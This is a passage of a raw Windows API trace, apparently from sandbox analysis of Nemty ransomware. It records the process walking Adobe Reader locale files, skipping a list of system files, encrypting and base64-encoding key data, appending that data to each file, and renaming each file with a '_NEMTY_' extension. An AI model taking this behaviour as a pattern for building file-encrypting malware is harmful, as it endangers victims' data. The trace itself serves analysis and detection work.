hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0181.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0181.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0181.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0181.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0181.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0181.135] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831bd980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Search.POL", cAlternateFileName="")) returned 1 [0181.135] lstrcmpiW (lpString1="Search.POL", lpString2=".") returned 1 [0181.135] lstrcmpiW (lpString1="Search.POL", lpString2="..") returned 1 [0181.135] lstrcmpiW (lpString1="Search.POL", lpString2="...") returned 1 [0181.135] lstrcmpiW (lpString1="Search.POL", lpString2="windows") returned -1 [0181.135] lstrcmpiW (lpString1="Search.POL", lpString2="$RECYCLE.BIN") returned 1 [0181.135] lstrcmpiW (lpString1="Search.POL", lpString2="rsa") returned 1 [0181.135] lstrcmpiW (lpString1="Search.POL", lpString2="NTDETECT.COM") returned 1 [0181.135] lstrcmpiW (lpString1="Search.POL", lpString2="ntldr") returned 1 [0181.136] lstrcmpiW (lpString1="Search.POL", lpString2="MSDOS.SYS") returned 1 [0181.136] lstrcmpiW (lpString1="Search.POL", lpString2="IO.SYS") returned 1 [0181.136] lstrcmpiW (lpString1="Search.POL", lpString2="boot.ini") returned 1 [0181.136] lstrcmpiW (lpString1="Search.POL", lpString2="boot.ini") returned 1 [0181.136] lstrcmpiW (lpString1="Search.POL", lpString2="AUTOEXEC.BAT") returned 1 [0181.136] lstrcmpiW (lpString1="Search.POL", lpString2="ntuser.dat") returned 1 [0181.136] lstrcmpiW (lpString1="Search.POL", lpString2="desktop.ini") returned 1 [0181.136] lstrcmpiW (lpString1="Search.POL", lpString2="CONFIG.SYS") returned 1 [0181.136] lstrcmpiW (lpString1="Search.POL", lpString2="RECYCLER") returned 1 [0181.136] lstrcmpiW (lpString1="Search.POL", lpString2="BOOTSECT.BAK") returned 1 [0181.136] lstrcmpiW (lpString1="Search.POL", lpString2="bootmgr") returned 1 [0181.136] lstrcmpiW (lpString1="Search.POL", lpString2="programdata") returned 1 [0181.136] lstrcmpiW (lpString1="Search.POL", lpString2="appdata") returned 1 [0181.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.POL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0181.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.POL", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.POL", lpUsedDefaultChar=0x0) returned 10 [0181.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.POL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0181.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.POL", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.POL", lpUsedDefaultChar=0x0) returned 10 [0181.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.POL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0181.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.POL", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.POL", lpUsedDefaultChar=0x0) returned 10 [0181.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.POL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0181.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.POL", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.POL", lpUsedDefaultChar=0x0) returned 10 [0181.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0181.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0181.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0181.136] Sleep (dwMilliseconds=0x5) [0181.145] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f9e2330, dwHighDateTime=0x1d561e8)) [0181.145] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f9e2330, dwHighDateTime=0x1d561e8)) [0181.145] GetLastError () returned 0x0 [0181.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0181.145] GetLastError () returned 0x0 [0181.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0181.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.145] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0181.145] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0181.145] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0181.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0181.146] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="Cputa1+vJqtW9wCXsSmGxeazg6caL3BncAk7G/OO25aylF4M0S8MdD2KB1sfVFe6\r\n/H6KmvqwBsVMMySGjzh9FCMakPCI7q73YLAN02B+y5HEZR1k/L5zB2bS5R7sRI3O\r\nDzXWp3zx8SUIjdRwbQjO05HSSXGHGNpN9av8EEtK01fa1hAnlIjwgPoXr1mWvrlV\r\n2c9LlHU+QVn1YAN+5nJN8NXkhH2OQ5TyIMFYOT8dWBi6UNy95e4KdA+2NtcqOZAH\r\nKXinnfBPK4IF5AXH9Aah7AAZDGpB1KaHor07adscSeJ8KaONVSp+LG1LsuvU44Tx\r\n9Yof9MHE5Z04lkFXjvNXdQ==\r\n", pcchString=0x653e5dc) returned 1 [0181.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0181.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0181.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0181.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0181.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0181.146] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Search.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\search.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0181.146] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=24064) returned 1 [0181.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x5e00) returned 0x6352c48 [0181.146] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.146] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x5e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x5e00, lpOverlapped=0x0) returned 1 [0181.149] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.149] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x5e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x5e00, lpOverlapped=0x0) returned 1 [0181.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0181.150] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=24064, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5e00 [0181.150] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0181.150] CloseHandle (hObject=0x2e8) returned 1 [0181.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0181.150] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0181.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.150] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0181.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0181.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0181.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0181.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.150] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Search.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\search.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Search.POL._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\search.pol._nemty_kgobjgd_")) returned 1 [0181.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0181.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0181.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0181.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0181.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0181.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0181.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0181.151] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831bd980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SendMail.POL", cAlternateFileName="")) returned 1 [0181.151] lstrcmpiW (lpString1="SendMail.POL", lpString2=".") returned 1 [0181.151] lstrcmpiW (lpString1="SendMail.POL", lpString2="..") returned 1 [0181.151] lstrcmpiW (lpString1="SendMail.POL", lpString2="...") returned 1 [0181.151] lstrcmpiW (lpString1="SendMail.POL", lpString2="windows") returned -1 [0181.151] lstrcmpiW (lpString1="SendMail.POL", lpString2="$RECYCLE.BIN") returned 1 [0181.151] lstrcmpiW (lpString1="SendMail.POL", lpString2="rsa") returned 1 [0181.151] lstrcmpiW (lpString1="SendMail.POL", lpString2="NTDETECT.COM") returned 1 [0181.151] lstrcmpiW (lpString1="SendMail.POL", lpString2="ntldr") returned 1 [0181.151] lstrcmpiW (lpString1="SendMail.POL", lpString2="MSDOS.SYS") returned 1 [0181.151] lstrcmpiW (lpString1="SendMail.POL", lpString2="IO.SYS") returned 1 [0181.151] lstrcmpiW (lpString1="SendMail.POL", lpString2="boot.ini") returned 1 [0181.151] lstrcmpiW (lpString1="SendMail.POL", lpString2="boot.ini") returned 1 [0181.151] lstrcmpiW (lpString1="SendMail.POL", lpString2="AUTOEXEC.BAT") returned 1 [0181.151] lstrcmpiW (lpString1="SendMail.POL", lpString2="ntuser.dat") returned 1 [0181.151] lstrcmpiW (lpString1="SendMail.POL", lpString2="desktop.ini") returned 1 [0181.151] lstrcmpiW (lpString1="SendMail.POL", lpString2="CONFIG.SYS") returned 1 [0181.151] lstrcmpiW (lpString1="SendMail.POL", lpString2="RECYCLER") returned 1 [0181.151] lstrcmpiW (lpString1="SendMail.POL", lpString2="BOOTSECT.BAK") returned 1 [0181.151] lstrcmpiW (lpString1="SendMail.POL", lpString2="bootmgr") returned 1 [0181.152] lstrcmpiW (lpString1="SendMail.POL", lpString2="programdata") returned 1 [0181.152] lstrcmpiW (lpString1="SendMail.POL", lpString2="appdata") returned 1 [0181.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.152] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.POL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0181.152] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.POL", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.POL", lpUsedDefaultChar=0x0) returned 12 [0181.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.152] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.POL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0181.152] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.POL", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.POL", lpUsedDefaultChar=0x0) returned 12 [0181.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.152] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.POL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0181.152] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.POL", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.POL", lpUsedDefaultChar=0x0) returned 12 [0181.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.152] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.POL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0181.152] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.POL", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.POL", lpUsedDefaultChar=0x0) returned 12 [0181.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0181.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0181.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0181.152] Sleep (dwMilliseconds=0x5) [0181.162] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1fa08490, dwHighDateTime=0x1d561e8)) [0181.162] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1fa08490, dwHighDateTime=0x1d561e8)) [0181.162] GetLastError () returned 0x0 [0181.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0181.162] GetLastError () returned 0x0 [0181.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0181.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.162] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0181.162] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0181.162] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0181.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0181.162] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="bVaoHCBdAG9TVelvsPWEUkrbBs4iTA/GDcp28L0XdpHH5Ed+H901em+b4sXtIKVI\r\n1mEaSJ1YEDRExjhouObQ8/ktDK/SEMXPquTt0UYJGzG5HJhgbfdyBfMwvDVyBjaf\r\nPiQDwPsnQuuKRDxBXSiYz1cTdjm6XoiFqgMRurUQxVFDu4Ou5p8/laQhtVuMo5Yv\r\nQCQIBFH/XyEmmwtugcepHUBlX7lcxKOGONzF7QuQzSdsIthdpRP1hiprF8yWfx2T\r\n4PRgMqn8/17vzj4dBa5+KUGHZ4eDdT5lrUtrEyOhd051cSqf/RXTAIOp8XDU1BSV\r\nGWEi9YLd835LrBWk8OsKjA==\r\n", pcchString=0x653e5dc) returned 1 [0181.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0181.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0181.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.163] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0181.163] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0181.163] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0181.163] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\SendMail.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\sendmail.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0181.163] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=15872) returned 1 [0181.163] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3e00) returned 0x6352c48 [0181.163] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.163] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x3e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x3e00, lpOverlapped=0x0) returned 1 [0181.166] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.166] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x3e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x3e00, lpOverlapped=0x0) returned 1 [0181.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0181.166] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=15872, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3e00 [0181.166] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0181.166] CloseHandle (hObject=0x2e8) returned 1 [0181.166] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0181.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0181.166] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0181.166] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.166] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0181.166] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0181.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0181.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, 